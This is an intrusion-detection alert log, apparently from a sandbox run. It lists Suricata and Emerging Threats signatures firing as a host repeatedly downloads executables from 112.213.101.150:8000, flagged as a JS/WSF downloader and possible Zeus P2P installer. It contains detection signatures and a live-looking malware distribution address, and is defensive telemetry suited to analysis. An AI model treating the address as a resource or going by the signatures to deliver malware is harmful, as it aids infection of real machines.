TCP 192.168.56.101:49781 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49791 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49833 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49749 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49785 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49793 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49750 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49792 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49811 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49754 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49796 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49823 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49764 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49806 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49825 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49773 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49807 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49827 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49778 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49815 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49819 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49789 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49821 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49801 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49824 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49810 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49813 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49822 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49597 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49747 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49541 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49772 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49567 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49563 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49725 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49645 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49760 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49776 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49765 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
